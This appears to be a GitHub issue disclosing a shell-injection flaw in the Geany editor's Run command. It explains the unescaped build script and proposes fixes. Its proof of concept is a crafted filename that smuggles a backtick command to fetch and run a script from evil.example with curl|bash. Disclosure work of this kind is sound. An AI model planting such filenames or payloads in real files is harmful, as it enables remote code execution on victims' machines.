Skip to content

Geany — Filename-Based Shell Injection via Run Script #16

Description

@CVE-Hunter-Leo

Geany — Filename-Based Shell Injection via Run Script

Field Value
Severity Critical
CVSS 7.8 (AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)
CWE CWE-78: OS Command Injection
File src/build.c
Lines 1105–1111
Affected Functions build_create_shellscript(), prepare_run_cmd(), generate_document_replacements()
Platform Unix (macOS, Linux)

Description

build_create_shellscript() generates a temporary shell script to execute the user's run command. While the working directory is properly shell-quoted with g_shell_quote(), the command string (cmd) is embedded raw — without any escaping.

// build.c:1105-1111
escaped_dir = g_shell_quote(working_dir);          //  properly escaped
str = g_strdup_printf(
    "#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
    escaped_dir,                                    //  safe
    cmd);                                           //  RAW — no escaping!

The cmd value comes from prepare_run_cmd() (line 779), which substitutes document placeholders (%e, %f, %d, %p) into the build command. The generate_document_replacements() function in src/utils.c:2562 performs these substitutions using g_path_get_basename() and g_path_get_dirname() — yielding the actual filename or directory name without any shell escaping.

A filename containing shell metacharacters such as backticks (`), $(), or semicolons (;) will be substituted verbatim into the generated shell script, where the metacharacters are interpreted by /bin/sh.

Attack Scenario / POC

  1. Attacker creates a file with a weaponized filename:

    test`curl http://evil.example/payload.sh|bash`.c
    
  2. Attacker sends the file to the victim (e.g. as an email attachment, in a shared repository, or via a download link).

  3. Victim opens the file in Geany.

  4. Victim presses F5 (Run) or clicks Execute.

  5. The %e placeholder is substituted with testcurl http://evil.example/payload.sh|bash`` (the filename minus extension).

  6. The generated shell script contains:

    #!/bin/sh
    rm $0
    cd /path/to/dir
    ./test`curl http://evil.example/payload.sh|bash`
  7. The backtick expression executes the curl | bash pipeline.

Impact

Arbitrary command execution with the victim's user privileges. This is triggered by simply running a file with a crafted name — a common and expected operation in an IDE.

Recommended Fix

Apply g_shell_quote() to the placeholder-substituted command string before embedding it into the shell script:

gchar *escaped_cmd = g_shell_quote(cmd);
str = g_strdup_printf(
    "#!/bin/sh\n\nrm $0\n\ncd %s\n\n%s\n\necho \"...\" ...",
    escaped_dir, escaped_cmd, ...);
g_free(escaped_cmd);

Alternatively, escape each substituted value individually within generate_document_replacements() (src/utils.c:2562), before the value is inserted into the command string.

A more robust architectural fix is to avoid the shell script entirely and pass the command directly to execve() via spawn_async_with_pipes() with a proper argument vector.

References in code

  • src/build.c:1094–1138build_create_shellscript()
  • src/build.c:779–844prepare_run_cmd()
  • src/utils.c:2562–2622generate_document_replacements()

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions